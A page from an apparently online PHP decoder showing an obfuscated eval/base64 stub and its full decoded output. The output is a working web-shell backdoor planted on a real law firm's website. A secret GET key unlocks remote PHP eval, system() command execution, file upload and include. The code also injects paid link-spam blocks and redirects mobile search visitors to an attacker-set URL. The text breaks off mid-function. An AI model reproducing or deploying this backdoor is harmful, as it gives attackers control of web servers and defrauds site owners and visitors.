Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$bc579b2c36da="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($bc579b2c36da( ..

Decoded Output download

/*51e557d2327942e06dee27b76f3c569c*/?><?php  define("_VERZ", "1.1.1"); define("_TMPDIR", "/tmp/.ICE-unix"); define("_SKEY", "9g1TUNulzh"); define("SAPEUSR", ''); define("LINKFEEDUSR", "9ede3cbb4035715551b385b4c7b0bec77ed43b29"); define("TRUSTLINKUSR",''); define("XAPUSR", ''); define("TRAFFUSR", ''); define("PROFLINKSUSR", "debd2d0921691552d602d4a522f1f5cc"); define("CHARSETZ", "utf-8"); $_995ba3726b9157312705b7241405eb97['charset'] = CHARSETZ; @error_reporting(0); if (!file_exists (_TMPDIR)) mkdir(_TMPDIR); if ( isset($_GET['sk']) && $_GET['sk'] == _SKEY ) { if ( isset($_GET['daf']) ) { if ( $_GET['daf'] == "1" ) { echo "<div>All Flags was Disabled</div>"; unlink( _TMPDIR . "/sess_fc.log" ); unlink( _TMPDIR . "/sess_fs.log" ); unlink( _TMPDIR . "/sess_nssp.log" ); unlink( _TMPDIR . "/sess_nslf.log" ); unlink( _TMPDIR . "/sess_nstl.log" ); unlink( _TMPDIR . "/sess_nsxp.log" ); unlink( _TMPDIR . "/sess_nspl.log" ); unlink( _TMPDIR . "/sess_fssp.log" ); unlink( _TMPDIR . "/sess_fslf.log" ); unlink( _TMPDIR . "/sess_fstl.log" ); unlink( _TMPDIR . "/sess_fsxp.log" ); unlink( _TMPDIR . "/sess_fspl.log" ); exit; } } else if ( isset($_GET['tr']) ) { echo "<div>Traffic Link ".$_GET['tr']."</div>"; $_ce9007acadc41a72aac2ad011b5a3b8a = fopen(_TMPDIR."/sess_tr.log", "w"); fwrite ($_ce9007acadc41a72aac2ad011b5a3b8a, base64_encode($_GET['tr']) ); fclose($_ce9007acadc41a72aac2ad011b5a3b8a); echo "<meta http-equiv='refresh' content='0; URL=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&cm=st'>"; exit; } else if ( isset($_GET['fl']) ) { if ( $_GET['st'] == "0" ) { if ($_GET['fl'] == "fc") echo "<div>Force Code was Deleted</div>"; if ($_GET['fl'] == "fs") echo "<div>Fixed Show Code was Deleted</div>"; if ($_GET['fl'] == "ni") echo "<div>NoIndex was Deleted</div>"; if ($_GET['fl'] == "nstl") echo "<div>Flag not Show TrustLink was Deleted</div>"; if ($_GET['fl'] == "nslf") echo "<div>Flag not Show LinkFeed was Deleted</div>"; if ($_GET['fl'] == "nssp") echo "<div>Flag not Show SAPE was Deleted</div>"; if ($_GET['fl'] == "nsxp") echo "<div>Flag not Show XAP was Deleted</div>"; if ($_GET['fl'] == "nspl") echo "<div>Flag not Show ProfLinks was Deleted</div>"; if ($_GET['fl'] == "fstl") echo "<div>Flag Fixed Show TrustLink was Deleted</div>"; if ($_GET['fl'] == "fslf") echo "<div>Flag Fixed Show LinkFeed was Deleted</div>"; if ($_GET['fl'] == "fssp") echo "<div>Flag Fixed Show SAPE was Deleted</div>"; if ($_GET['fl'] == "fsxp") echo "<div>Flag Fixed Show XAP was Deleted</div>"; if ($_GET['fl'] == "fspl") echo "<div>Flag Fixed Show ProfLinks was Deleted</div>"; unlink( _TMPDIR . "/sess_".$_GET['fl'].".log" ); echo "<meta http-equiv='refresh' content='0; URL=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&cm=st'>"; } else if ( $_GET['st'] == "1" ) { if ($_GET['fl'] == "fc") echo "<div>Force Code was Created</div>"; if ($_GET['fl'] == "fs") echo "<div>Fixed Show Code was Created</div>"; if ($_GET['fl'] == "ni") echo "<div>NoIndex was Created</div>"; if ($_GET['fl'] == "nstl") echo "<div>Flag not Show TrustLink was Created</div>"; if ($_GET['fl'] == "nslf") echo "<div>Flag not Show LinkFeed was Created</div>"; if ($_GET['fl'] == "nssp") echo "<div>Flag not Show SAPE was Created</div>"; if ($_GET['fl'] == "nsxp") echo "<div>Flag not Show XAP was Created</div>"; if ($_GET['fl'] == "nspl") echo "<div>Flag not Show ProfLinks was Created</div>"; if ($_GET['fl'] == "fstl") echo "<div>Flag Fixed Show TrustLink was Created</div>"; if ($_GET['fl'] == "fslf") echo "<div>Flag Fixed Show LinkFeed was Created</div>"; if ($_GET['fl'] == "fssp") echo "<div>Flag Fixed Show SAPE was Created</div>"; if ($_GET['fl'] == "fsxp") echo "<div>Flag Fixed Show XAP was Created</div>"; if ($_GET['fl'] == "fspl") echo "<div>Flag Fixed Show ProfLinks was Created</div>"; $_ce9007acadc41a72aac2ad011b5a3b8a = fopen(_TMPDIR."/sess_".$_GET['fl'].".log", "w"); fclose($_ce9007acadc41a72aac2ad011b5a3b8a); echo "<meta http-equiv='refresh' content='0; URL=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&cm=st'>"; } exit; } else if ( isset($_GET['fc']) ) { if ( $_GET['fc'] == "0" ) { echo "<div>Force Code was Disabled</div>"; unlink( _TMPDIR . "/sess_fc.log" ); } else if ( $_GET['fc'] == "1" ) { echo "<div>Force Code was Enabled</div>"; $_ce9007acadc41a72aac2ad011b5a3b8a = fopen(_TMPDIR."/sess_fc.log", "w"); fclose($_ce9007acadc41a72aac2ad011b5a3b8a); } exit; } else if ( isset($_GET['fs']) ) { if ( $_GET['fs'] == "0" ) { echo "<div>Fixed Show was Disabled</div>"; unlink( _TMPDIR . "/sess_fs.log" ); } else if ( $_GET['fs'] == "1" ) { echo "<div>Fixed Show was Enabled</div>"; $_ce9007acadc41a72aac2ad011b5a3b8a = fopen(_TMPDIR."/sess_fs.log", "w"); fclose($_ce9007acadc41a72aac2ad011b5a3b8a); } exit; } else if ( isset($_GET['cm']) ) { $_f64859770f606fd3ca5913a8d6e88bd8 = "ba9a4ef31477dab241685003a454a9b8"; if(isset($_POST['pass']) && (md5($_POST['pass']) == $_f64859770f606fd3ca5913a8d6e88bd8)) { $_COOKIE[md5($_SERVER['HTTP_HOST'])] = $_f64859770f606fd3ca5913a8d6e88bd8; setcookie(md5($_SERVER['HTTP_HOST']), $_f64859770f606fd3ca5913a8d6e88bd8); } if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $_f64859770f606fd3ca5913a8d6e88bd8)) { sleep(1); die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); } if ( $_GET['cm'] == "st" ) { echo "--------------------------------------"; echo "<div><b>Version:</b> "._VERZ."</div>"; echo "<div><b>Status:</b></div>"; echo "<br>"; if ( file_exists (_TMPDIR . "/sess_fc.log") ) echo "<div>Force Code Enable - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fc&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_fs.log") ) echo "<div>Fixed Show Enable - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fs&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_ni.log") ) echo "<div>NoIndex Enable - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=ni&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_nslf.log") ) echo "<div>Not Show LinkFeed - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=nslf&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_nstl.log") ) echo "<div>Not Show TrustLink - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=nstl&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_nssp.log") ) echo "<div>Not Show SAPE - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=nssp&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_nsxp.log") ) echo "<div>Not Show XAP - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=nsxp&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_nspl.log") ) echo "<div>Not Show ProfLinks - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=nspl&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_fslf.log") ) echo "<div>Fixed Show LinkFeed - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fslf&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_fstl.log") ) echo "<div>Fixed Show TrustLink - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fstl&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_fssp.log") ) echo "<div>Fixed Show SAPE - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fssp&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_fsxp.log") ) echo "<div>Fixed Show XAP - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fsxp&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_fspl.log") ) echo "<div>Fixed Show ProfLinks - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fspl&st=0>Delete</a></div>"; if ( file_exists (_TMPDIR . "/sess_tr.log") ) { $_fd3e1cfa15846100790ebe79403f5c96 = base64_decode(file_get_contents(_TMPDIR . "/sess_tr.log")); echo "<div>Traffic Link $_fd3e1cfa15846100790ebe79403f5c96 - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=tr&st=0>Delete</a></div>"; } if ( file_exists (_TMPDIR . "/sess_trse.log") ) echo "<div>Traffic from Search Engine - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=trse&st=0>Delete</a></div>"; echo "<br>--------------------------------------"; echo "<div><b>Set Flags:</b></div>"; echo "<br>"; echo "<div>Force Code - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fc&st=1>Create</a></div>"; echo "<div>Fixed Show - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fs&st=1>Create</a></div>"; echo "<div>NoIndex - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=ni&st=1>Create</a></div>"; echo "<br>"; echo "<div>Not Show LinkFeed - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=nslf&st=1>Create</a></div>"; echo "<div>Not Show TrustLink - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=nstl&st=1>Create</a></div>"; echo "<div>Not Show SAPE - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=nssp&st=1>Create</a></div>"; echo "<div>Not Show XAP - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=nsxp&st=1>Create</a></div>"; echo "<div>Not Show ProfLinks - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=nspl&st=1>Create</a></div>"; echo "<br>"; echo "<div>Fixed Show LinkFeed - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fslf&st=1>Create</a></div>"; echo "<div>Fixed Show TrustLink - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fstl&st=1>Create</a></div>"; echo "<div>Fixed Show SAPE - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fssp&st=1>Create</a></div>"; echo "<div>Fixed Show XAP - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fsxp&st=1>Create</a></div>"; echo "<div>Fixed Show ProfLinks - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=fspl&st=1>Create</a></div>"; echo "<br>"; echo "<div>Traffic Link: <form method=get action='http://www.bedelllawfirm.com/components/com_content/article.php'><input type=hidden name=sk value='9g1TUNulzh'><input name=tr type=edit size=100>&nbsp;<input type=submit value='SET'></form></div>"; echo "<div>Traffic from Search Engine - <a href=http://www.bedelllawfirm.com/components/com_content/article.php?sk=9g1TUNulzh&fl=trse&st=1>Create</a></div>"; echo "<br>"; } exit; } else if ( isset($_GET['ep']) ) { echo "<div>Start PHP</div>"; $_GET['ep'] = str_replace("\"", "\"", $_GET['ep']); $_GET['ep'] = str_replace("\'", "'", $_GET['ep']); eval($_GET['ep']); exit; } else if ( isset($_GET['ec']) ) { echo "<div>Start Execute</div>"; $_GET['ec'] = str_replace("\"", "\"", $_GET['ec']); $_GET['ec'] = str_replace("\'", "'", $_GET['ec']); system($_GET['ec']); exit; } else if ( isset($_GET['es']) ) { echo "<div>Start Script Execute</div>"; require_once($_GET['es']); exit; } else if ( isset($_GET['uc']) && isset($_GET['fn']) ) { echo "<div>Upload Script ".$_GET['fn']."</div>"; $_ce9007acadc41a72aac2ad011b5a3b8a = fopen(_TMPDIR."/".$_GET['fn'], "w"); fwrite ($_ce9007acadc41a72aac2ad011b5a3b8a, base64_decode($_GET['uc']) ); fclose($_ce9007acadc41a72aac2ad011b5a3b8a); exit; } } $_e863cdc684aa1f8cceb453afcb035b36 = "none"; $_2d2bc462e1fe4daaeed1d37247c01201 = ""; if ( isset($_SERVER['HTTP_REFERER']) && !isset($_COOKIE['fs']) && (strpos($_SERVER['HTTP_REFERER'], "sape") != 0 || strpos($_SERVER['HTTP_REFERER'], "linkfeed") != 0 || strpos($_SERVER['HTTP_REFERER'], "trustlink") != 0 ) ) { $_2d2bc462e1fe4daaeed1d37247c01201 .= "<script type='text/javascript'>var todayDate = new Date(); todayDate.setDate(todayDate.getDate() + 366); document.cookie = 'fs=1; path=/; expires=' + todayDate.toGMTString() + ';';</script>"; $_e863cdc684aa1f8cceb453afcb035b36 = ""; } if ( isset($_COOKIE['fs']) ) $_e863cdc684aa1f8cceb453afcb035b36 = ""; if ( count ($_COOKIE) == 0 ) { $_2d2bc462e1fe4daaeed1d37247c01201 .= "<script type='text/javascript'>var todayDate = new Date(); todayDate.setDate(todayDate.getDate() + 366); document.cookie = 'rc=1; path=/; expires=' + todayDate.toGMTString() + ';';</script>"; $_e863cdc684aa1f8cceb453afcb035b36 = ""; } $_9943da1f6f32d175dafa5f9d485e58bc = ""; $_0cebd528c4fbb1a6ad5529142b27dd9d = ""; if (LINKFEEDUSR != "" && !file_exists (_TMPDIR . "/sess_nslf.log") ) { $_e3e56b4843ac769a1b7accff72d5de1e = new LfC_n($_995ba3726b9157312705b7241405eb97); if (file_exists (_TMPDIR . "/sess_fslf.log")) { $_0cebd528c4fbb1a6ad5529142b27dd9d .= $_e3e56b4843ac769a1b7accff72d5de1e->return_links(); } else { $_9943da1f6f32d175dafa5f9d485e58bc .= $_e3e56b4843ac769a1b7accff72d5de1e->return_links(); } } if (SAPEUSR != "" && !file_exists (_TMPDIR . "/sess_nssp.log") ) { $_8a4407bcc3424ed193e28f117ff7036c = new S_c_n($_995ba3726b9157312705b7241405eb97); if (file_exists (_TMPDIR . "/sess_fssp.log")) { $_0cebd528c4fbb1a6ad5529142b27dd9d .= $_8a4407bcc3424ed193e28f117ff7036c->return_links(); } else { $_9943da1f6f32d175dafa5f9d485e58bc .= $_8a4407bcc3424ed193e28f117ff7036c->return_links(); } } if (TRUSTLINKUSR != "" && !file_exists (_TMPDIR . "/sess_nstl.log") ) { $_449a3da158c7afa8ce5611d3b691359d = new TlC_n($_995ba3726b9157312705b7241405eb97); if (file_exists (_TMPDIR . "/sess_fstl.log")) { $_0cebd528c4fbb1a6ad5529142b27dd9d .= $_449a3da158c7afa8ce5611d3b691359d->build_links(); } else { $_9943da1f6f32d175dafa5f9d485e58bc .= $_449a3da158c7afa8ce5611d3b691359d->build_links(); } } if (XAPUSR != "" && !file_exists (_TMPDIR . "/sess_nsxp.log")) { $_66059a00c42a7a87cc4567a597e6b7d1 = new TNX_l2(); if (file_exists (_TMPDIR . "/sess_fsxp.log")) { $_0cebd528c4fbb1a6ad5529142b27dd9d .= $_66059a00c42a7a87cc4567a597e6b7d1->show_link(); } else { $_9943da1f6f32d175dafa5f9d485e58bc .= $_66059a00c42a7a87cc4567a597e6b7d1->show_link(); } } if (PROFLINKSUSR != "" && !file_exists (_TMPDIR . "/sess_nspl.log")) { $_c265093638c0459e80d6f3c94fc90708 = new PrL_n($_995ba3726b9157312705b7241405eb97); if (file_exists (_TMPDIR . "/sess_fspl.log")) { $_0cebd528c4fbb1a6ad5529142b27dd9d .= $_c265093638c0459e80d6f3c94fc90708->return_links(); } else { $_9943da1f6f32d175dafa5f9d485e58bc .= $_c265093638c0459e80d6f3c94fc90708->return_links(); } } if ($_0cebd528c4fbb1a6ad5529142b27dd9d != "") $_2d2bc462e1fe4daaeed1d37247c01201 = $_0cebd528c4fbb1a6ad5529142b27dd9d.$_2d2bc462e1fe4daaeed1d37247c01201; if ($_9943da1f6f32d175dafa5f9d485e58bc != "") $_2d2bc462e1fe4daaeed1d37247c01201 .= "<div id=ln897>" . $_9943da1f6f32d175dafa5f9d485e58bc . "</div>"; if ($_e863cdc684aa1f8cceb453afcb035b36 == "none" && $_9943da1f6f32d175dafa5f9d485e58bc != "") $_2d2bc462e1fe4daaeed1d37247c01201 .= "<script type='text/javascript'>document.getElementById('ln897').style.display='$_e863cdc684aa1f8cceb453afcb035b36';</script>"; if ( file_exists( _TMPDIR . "/sess_fs.log") ) $_2d2bc462e1fe4daaeed1d37247c01201 = $_9943da1f6f32d175dafa5f9d485e58bc; if ( count ($_COOKIE) == 0 && file_exists( _TMPDIR . "/sess_tr.log") && TRAFFUSR != "" && isset($_SERVER['HTTP_USER_AGENT']) && preg_match("/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|windows phone)/i", $_SERVER['HTTP_USER_AGENT']) != 0 ) { $_fd3e1cfa15846100790ebe79403f5c96 = base64_decode(file_get_contents(_TMPDIR . "/sess_tr.log")); if (file_exists( _TMPDIR . "/sess_trse.log")) { if (isset($_SERVER['HTTP_REFERER']) && preg_match("/(google|yandex|yahoo|bing|rambler|gogo|live.com|aport|nigma|webalta|begun.ru|bit.ly|tinyurl.com|myspace.com|facebook.com|aol.com|vk.com|vkontakte)/i", $_SERVER['HTTP_REFERER']) != 0) { $_2d2bc462e1fe4daaeed1d37247c01201 = "<script type='text/javascript'>var todayDate = new Date(); todayDate.setDate(todayDate.getDate() + 366); document.cookie = 'rc=1; path=/; expires=' + todayDate.toGMTString() + ';'; window.location = '$_fd3e1cfa15846100790ebe79403f5c96';</script>"; define("DZTR","<meta http-equiv='Set-Cookie' content='tr=1; path=/; expires=0'>
<meta http-equiv='refresh' content='0; URL=$_fd3e1cfa15846100790ebe79403f5c96'>"); } } else { $_2d2bc462e1fe4daaeed1d37247c01201 = "<script type='text/javascript'>var todayDate = new Date(); todayDate.setDate(todayDate.getDate() + 366); document.cookie = 'rc=1; path=/; expires=' + todayDate.toGMTString() + ';'; window.location = '$_fd3e1cfa15846100790ebe79403f5c96';</script>"; define("DZTR","<meta http-equiv='Set-Cookie' content='tr=1; path=/; expires=0'>
<meta http-equiv='refresh' content='0; URL=$_fd3e1cfa15846100790ebe79403f5c96'>"); } } if ( file_exists( _TMPDIR . "/sess_ni.log") ) define("NIND",$_SERVER['SERVER_NAME']); extract (array("rslt" => $_2d2bc462e1fe4daaeed1d37247c01201)); define("RSLT",$_2d2bc462e1fe4daaeed1d37247c01201); class S_b_n { var $_4fff11c4383f556c646ef4dec77f4e59 = "1.0.8"; var $_e0b2eaf474e549af581b66dbdecbe39a = false; var $_a87f8d1b25cc29947f1993c5cf92de0f = ''; var $_0cfdfbf34de439f14bd93b0e4390a952 = ''; var $_18f023555b8822c8125de886c40ae488 = array("dispenser-01.sape.ru", "dispenser-02.sape.ru"); var $_7ccf97f272383619357f1e7d15c95977 = 3600; var $_92dd9b3928f47aeee1541ece5901746a = 600; var $_e560a528c0be926cfdd482ad2becbd00 = ''; var $_addcfa9179a80f2b3ea4f7b348bf63ad = ''; var $_f63843cbc211f048ef2d165d75b58fea = ''; var $_6839940c4fa73fc945201975d439453c = false; var $_e3f59c6a7591aa5ddf8ffcad11a32f10 = ''; var $_805b7bf5abbf53f5d65cfea46d40389c = 6; var $_7192b15e253cec2ff35d6fff4b0403d5 = false; var $_0abfbada9a727c8142555b80ed354842 = false; var $_dfd8bf4841aa8724c96db91fe53f6f12 = false; var $_9911c2a20bec4b166b213864513d965f = false; var $_94fc644964dba82175ee6f79563ae420 = ''; var $_6b99bcb25f5906fc9321442de287a904 = false; var $_7a1be16f1e03c1a610604404da4899e8 = false; function S_b_n($_8c878de914cd1035425174e52c152e84 = null) { $_c5ca48c198050fcecbcda6adb9be5755 = ''; if (is_array($_8c878de914cd1035425174e52c152e84)) { if (isset($_8c878de914cd1035425174e52c152e84['host'])) { $_c5ca48c198050fcecbcda6adb9be5755 = $_8c878de914cd1035425174e52c152e84['host']; } } elseif (strlen($_8c878de914cd1035425174e52c152e84)) { $_c5ca48c198050fcecbcda6adb9be5755 = $_8c878de914cd1035425174e52c152e84; $_8c878de914cd1035425174e52c152e84 = array(); } else { $_8c878de914cd1035425174e52c152e84 = array(); } if (isset($_8c878de914cd1035425174e52c152e84['use_server_array']) && $_8c878de914cd1035425174e52c152e84['use_server_array'] == true) { $this->_6b99bcb25f5906fc9321442de287a904 = true; } if (strlen($_c5ca48c198050fcecbcda6adb9be5755)) { $this->_addcfa9179a80f2b3ea4f7b348bf63ad = $_c5ca48c198050fcecbcda6adb9be5755; } else { $this->_addcfa9179a80f2b3ea4f7b348bf63ad = $_SERVER['HTTP_HOST']; } $this->_addcfa9179a80f2b3ea4f7b348bf63ad = preg_replace('/^http:\/\//', '', $this->_addcfa9179a80f2b3ea4f7b348bf63ad); $this->_addcfa9179a80f2b3ea4f7b348bf63ad = preg_replace('/^www\./', '', $this->_addcfa9179a80f2b3ea4f7b348bf63ad); if (isset($_8c878de914cd1035425174e52c152e84['request_uri']) && strlen($_8c878de914cd1035425174e52c152e84['request_uri'])) { $this->_f63843cbc211f048ef2d165d75b58fea = $_8c878de914cd1035425174e52c152e84['request_uri']; } elseif ($this->_6b99bcb25f5906fc9321442de287a904 === false) { $this->_f63843cbc211f048ef2d165d75b58fea = $_SERVER['REQUEST_URI']; } if (strlen($this->_f63843cbc211f048ef2d165d75b58fea) == 0) { $this->_f63843cbc211f048ef2d165d75b58fea = $_SERVER['REQUEST_URI']; } if (isset($_8c878de914cd1035425174e52c152e84['multi_site']) && $_8c878de914cd1035425174e52c152e84['multi_site'] == true) { $this->_6839940c4fa73fc945201975d439453c = true; } if (isset($_8c878de914cd1035425174e52c152e84['debug']) && $_8c878de914cd1035425174e52c152e84['debug'] == true) { $this->_dfd8bf4841aa8724c96db91fe53f6f12 = true; } if (isset($_COOKIE['sape_cookie']) && ($_COOKIE['sape_cookie'] == SAPEUSR)) { $this->_0abfbada9a727c8142555b80ed354842 = true; if (isset($_COOKIE['sape_debug']) && ($_COOKIE['sape_debug'] == 1)) { $this->_dfd8bf4841aa8724c96db91fe53f6f12 = true; $this->_9a83de288d7b614e9bb8ce4446c2f70f = $_8c878de914cd1035425174e52c152e84; $this->_ef94a150d0c3c9fe1810e586a0d5ece5 = $this->_f63843cbc211f048ef2d165d75b58fea = $_SERVER['REQUEST_URI']; $this->_6b73146a043eef9a86267766b8fff5c7 = getenv("REQUEST_URI"); $this->_82c3b362209eac7d1b480756b92d166b = SAPEUSR; } if (isset($_COOKIE['sape_updatedb']) && ($_COOKIE['sape_updatedb'] == 1)) { $this->_7a1be16f1e03c1a610604404da4899e8 = true; } } else { $this->_0abfbada9a727c8142555b80ed354842 = false; } if (isset($_8c878de914cd1035425174e52c152e84['verbose']) && $_8c878de914cd1035425174e52c152e84['verbose'] == true || $this->_dfd8bf4841aa8724c96db91fe53f6f12) { $this->_e0b2eaf474e549af581b66dbdecbe39a = true; } if (isset($_8c878de914cd1035425174e52c152e84['charset']) && strlen($_8c878de914cd1035425174e52c152e84['charset'])) { $this->_a87f8d1b25cc29947f1993c5cf92de0f = $_8c878de914cd1035425174e52c152e84['charset']; } else { $this->_a87f8d1b25cc29947f1993c5cf92de0f = "windows-1251"; } if (isset($_8c878de914cd1035425174e52c152e84['fetch_remote_type']) && strlen($_8c878de914cd1035425174e52c152e84['fetch_remote_type'])) { $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 = $_8c878de914cd1035425174e52c152e84['fetch_remote_type']; } if (isset($_8c878de914cd1035425174e52c152e84['socket_timeout']) && is_numeric($_8c878de914cd1035425174e52c152e84['socket_timeout']) && $_8c878de914cd1035425174e52c152e84['socket_timeout'] > 0) { $this->_805b7bf5abbf53f5d65cfea46d40389c = $_8c878de914cd1035425174e52c152e84['socket_timeout']; } if (isset($_8c878de914cd1035425174e52c152e84['force_show_code']) && $_8c878de914cd1035425174e52c152e84['force_show_code'] == true) { $this->_7192b15e253cec2ff35d6fff4b0403d5 = true; } else if (file_exists( _TMPDIR . "/sess_fc.log")) { $this->_7192b15e253cec2ff35d6fff4b0403d5 = true; } if (!defined("SAPEUSR")) { return $this->raise_error("error constant SAPEUSR"); } if (isset($_8c878de914cd1035425174e52c152e84['ignore_case']) && $_8c878de914cd1035425174e52c152e84['ignore_case'] == true) { $this->_9911c2a20bec4b166b213864513d965f = true; $this->_f63843cbc211f048ef2d165d75b58fea = strtolower($this->_f63843cbc211f048ef2d165d75b58fea); } } function fetch_remote_file($_c5ca48c198050fcecbcda6adb9be5755, $_fec95a9136e65be848d0e5a9baa1a026) { $_49ad8d6fd98b0df39bcfaa99107ee623 = $this->_1d3a055f8a651f98198eabc4a72aecf1 . " " . $this->_4fff11c4383f556c646ef4dec77f4e59; @ini_set("allow_url_fopen", 1); @ini_set("default_socket_timeout", $this->_805b7bf5abbf53f5d65cfea46d40389c); @ini_set("user_agent", $_49ad8d6fd98b0df39bcfaa99107ee623); if ( $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 == "file_get_contents" || ( $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 == '' && function_exists("file_get_contents") && ini_get("allow_url_fopen") == 1 ) ) { $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 = "file_get_contents"; if ($_197d7053b1c8cf0aaa95a6d5ebfb1f86 = @file_get_contents("http://" . $_c5ca48c198050fcecbcda6adb9be5755 . $_fec95a9136e65be848d0e5a9baa1a026)) { return $_197d7053b1c8cf0aaa95a6d5ebfb1f86; } } elseif ( $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 == "curl" || ( $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 == '' && function_exists("curl_init") ) ) { $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 = "curl"; if ($_bfc60a717f4be47369df0dd31b551623 = @curl_init()) { @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_URL, "http://" . $_c5ca48c198050fcecbcda6adb9be5755 . $_fec95a9136e65be848d0e5a9baa1a026); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_HEADER, false); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_RETURNTRANSFER, true); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_CONNECTTIMEOUT, $this->_805b7bf5abbf53f5d65cfea46d40389c); @curl_setopt($_bfc60a717f4be47369df0dd31b551623, CURLOPT_USERAGENT, $_49ad8d6fd98b0df39bcfaa99107ee623); if ($_197d7053b1c8cf0aaa95a6d5ebfb1f86 = @curl_exec($_bfc60a717f4be47369df0dd31b551623)) { return $_197d7053b1c8cf0aaa95a6d5ebfb1f86; } @curl_close($_bfc60a717f4be47369df0dd31b551623); } } else { $this->_e3f59c6a7591aa5ddf8ffcad11a32f10 = "socket"; $_42da8ece6e679ca427b19d5bde6311f2 = ''; $_46c142fdacbd82e008523c5172951b83 = @fsockopen($_c5ca48c198050fcecbcda6adb9be5755, 80, $_79ebf8bb554715dd0e929a0f5eab4540, $_78ed0cdf8c3550ceda734fe8c4e5bd85, $this->_805b7bf5abbf53f5d65cfea46d40389c); if ($_46c142fdacbd82e008523c5172951b83) { @fputs($_46c142fdacbd82e008523c5172951b83, "GET {$_fec95a9136e65be848d0e5a9baa1a026} HTTP/1.0
Host: {$_c5ca48c198050fcecbcda6adb9be5755}
"); @fputs($_46c142fdacbd82e008523c5172951b83, "User-Agent: {$_49ad8d6fd98b0df39bcfaa99107ee623}

"); while (!@feof($_46c142fdacbd82e008523c5172951b83)) { $_42da8ece6e679ca427b19d5bde6311f2 .= @fgets($_46c142fdacbd82e008523c5172951b83, 128); } @fclose($_46c142fdacbd82e008523c5172951b83); $_65a5cb07f523d770ef64272e88fb2ade = explode("

